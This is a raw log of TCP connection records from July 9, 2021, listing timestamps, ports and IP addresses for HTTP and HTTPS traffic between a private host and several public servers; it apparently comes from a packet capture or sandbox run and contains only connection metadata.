Jul 9, 2021 15:35:10.304516077 CEST	49755	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.304752111 CEST	49755	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.381587029 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.432132006 CEST	80	49755	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.511672974 CEST	443	49757	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.511795998 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.516454935 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.648438931 CEST	443	49757	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.648478031 CEST	443	49757	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.648559093 CEST	443	49757	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.648593903 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.648685932 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.763093948 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.768270969 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.894133091 CEST	443	49757	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.894224882 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.899885893 CEST	443	49757	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:10.900017977 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:10.900330067 CEST	49757	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:11.022777081 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.023051977 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.028703928 CEST	443	49757	40.97.128.194	192.168.2.4
Jul 9, 2021 15:35:11.036041975 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.036106110 CEST	443	49760	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.036248922 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.037082911 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.037844896 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.037856102 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.051311970 CEST	443	49760	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.051367044 CEST	443	49760	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.051414013 CEST	443	49760	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.051456928 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.051492929 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.051528931 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.051546097 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.051554918 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.051671982 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.051708937 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.071171999 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.071180105 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.071455002 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.084341049 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.085138083 CEST	443	49760	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.085155010 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.085258007 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.085416079 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.087388039 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.087465048 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.087682009 CEST	49761	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:11.100099087 CEST	443	49761	52.97.186.114	192.168.2.4
Jul 9, 2021 15:35:11.118474960 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.118626118 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.131146908 CEST	443	49762	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.131184101 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.131264925 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.131303072 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.142199993 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.142323971 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.155587912 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.155632019 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.155667067 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.155734062 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.155774117 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.155894041 CEST	443	49762	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.155965090 CEST	443	49762	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.156001091 CEST	443	49762	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.156019926 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.156070948 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.161381960 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.161674976 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.161768913 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.174000025 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.174956083 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.175067902 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.175266027 CEST	443	49762	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.175347090 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:11.187768936 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.187812090 CEST	443	49763	52.98.168.178	192.168.2.4
Jul 9, 2021 15:35:11.187920094 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:12.433545113 CEST	49756	80	192.168.2.4	40.97.128.194
Jul 9, 2021 15:35:12.433649063 CEST	49760	443	192.168.2.4	52.97.186.114
Jul 9, 2021 15:35:12.433803082 CEST	49762	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:35:12.433839083 CEST	49763	443	192.168.2.4	52.98.168.178
Jul 9, 2021 15:36:06.315000057 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.315009117 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.440440893 CEST	443	49783	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.440583944 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.445545912 CEST	443	49782	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.445660114 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.473463058 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.473612070 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.603883028 CEST	443	49783	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.603915930 CEST	443	49783	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.603935957 CEST	443	49783	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.604038000 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.604069948 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.609026909 CEST	443	49782	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.609055042 CEST	443	49782	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.609076977 CEST	443	49782	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.609139919 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.609168053 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.642266035 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.645102978 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.651458979 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.774518013 CEST	443	49783	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.774946928 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.777832031 CEST	443	49782	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.779143095 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.786248922 CEST	443	49782	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.787220955 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.787491083 CEST	49782	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:06.829034090 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.829363108 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.841535091 CEST	443	49785	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.841645956 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.841804028 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.841973066 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.843308926 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.843394995 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.856877089 CEST	443	49785	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.856915951 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.856941938 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.857001066 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.857009888 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.857023954 CEST	443	49785	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.857045889 CEST	443	49785	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.857059956 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.857117891 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.857208014 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.868120909 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.868788958 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.869142056 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.881443024 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.881477118 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.882117987 CEST	443	49785	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.882179022 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.882230043 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.883877993 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.884310961 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.884718895 CEST	49784	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:06.896964073 CEST	443	49784	52.97.201.194	192.168.2.4
Jul 9, 2021 15:36:06.917969942 CEST	443	49782	40.97.128.194	192.168.2.4
Jul 9, 2021 15:36:06.929188013 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.929231882 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.941576958 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.942075014 CEST	443	49787	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.942251921 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.942280054 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.943514109 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.943577051 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.957989931 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.958154917 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.958237886 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.958266973 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.958290100 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.958601952 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.959054947 CEST	443	49787	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.959161997 CEST	443	49787	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.959178925 CEST	443	49787	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.959165096 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.959244967 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.964657068 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.965435982 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.965852976 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.977731943 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.978190899 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.978368998 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.979418993 CEST	443	49787	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.979490042 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:06.990948915 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.990977049 CEST	443	49786	52.98.163.18	192.168.2.4
Jul 9, 2021 15:36:06.991131067 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:08.242173910 CEST	49783	443	192.168.2.4	40.97.128.194
Jul 9, 2021 15:36:08.242244959 CEST	49787	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:08.242389917 CEST	49786	443	192.168.2.4	52.98.163.18
Jul 9, 2021 15:36:08.242417097 CEST	49785	443	192.168.2.4	52.97.201.194
Jul 9, 2021 15:36:31.010056973 CEST	49788	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:31.010140896 CEST	49789	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:31.031683922 CEST	80	49788	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:31.031842947 CEST	49788	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:31.032486916 CEST	49788	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:31.033838034 CEST	80	49789	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:31.033962011 CEST	49789	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:31.055454969 CEST	80	49788	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.056253910 CEST	80	49788	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.056329012 CEST	49788	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.056658983 CEST	49788	80	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.064812899 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.078927994 CEST	80	49788	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.088731050 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.088836908 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.094238043 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.118052006 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.119844913 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.119915962 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.119927883 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.119968891 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.119978905 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.120038033 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.163120031 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.169735909 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.169996023 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.187161922 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.187814951 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.187834978 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.187891006 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.187939882 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.188652992 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.193398952 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.193413019 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.193510056 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.193598986 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.195055008 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.195084095 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.195131063 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.195157051 CEST	49790	443	192.168.2.4	82.165.229.87
Jul 9, 2021 15:36:34.213031054 CEST	443	49790	82.165.229.87	192.168.2.4
Jul 9, 2021 15:36:34.224358082 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.224869967 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.244843960 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.245121956 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.247061968 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.247277021 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.247539043 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.249420881 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.268239021 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.268748999 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.268821001 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.268867970 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.268908978 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.268975019 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.269038916 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.271389961 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.272490025 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.272531986 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.272562981 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.272814035 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.278645039 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.279407978 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.279812098 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.281951904 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.282483101 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.299251080 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.299292088 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.299315929 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.299369097 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.299747944 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.299778938 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.299803972 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.299839020 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.299869061 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.300367117 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.303792000 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.303972960 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.304442883 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.304482937 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.304512024 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.304558039 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.304596901 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.305445910 CEST	49792	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.321841002 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322262049 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322356939 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322402954 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322439909 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322464943 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322499990 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322503090 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322514057 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322523117 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322540045 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322554111 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322597980 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322652102 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322681904 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322711945 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322729111 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322771072 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322797060 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322830915 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322843075 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322844028 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322885036 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322912931 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322921991 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.322937012 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.322978973 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.323004007 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.323040009 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.323071003 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.323074102 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.323090076 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.323136091 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.323156118 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.323184013 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.323208094 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.323214054 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.323235989 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.323276043 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.327419043 CEST	443	49792	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.342607975 CEST	443	49791	82.165.229.59	192.168.2.4
Jul 9, 2021 15:36:34.343727112 CEST	49791	443	192.168.2.4	82.165.229.59
Jul 9, 2021 15:36:34.531080961 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.531126976 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.544375896 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.544392109 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.544470072 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.544544935 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.545752048 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.547784090 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.558665991 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.560650110 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.571556091 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.571633101 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.571666956 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.571692944 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.571695089 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.571736097 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.571751118 CEST	443	49800	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.571799040 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.573128939 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.573191881 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.573193073 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.573235035 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.573249102 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.573291063 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.573301077 CEST	443	49801	172.217.168.14	192.168.2.4
Jul 9, 2021 15:36:34.573345900 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.602981091 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.603478909 CEST	49801	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.603792906 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.604152918 CEST	49800	443	192.168.2.4	172.217.168.14
Jul 9, 2021 15:36:34.604260921 CEST	49801	443	192.168.2.4	172.217.168.14
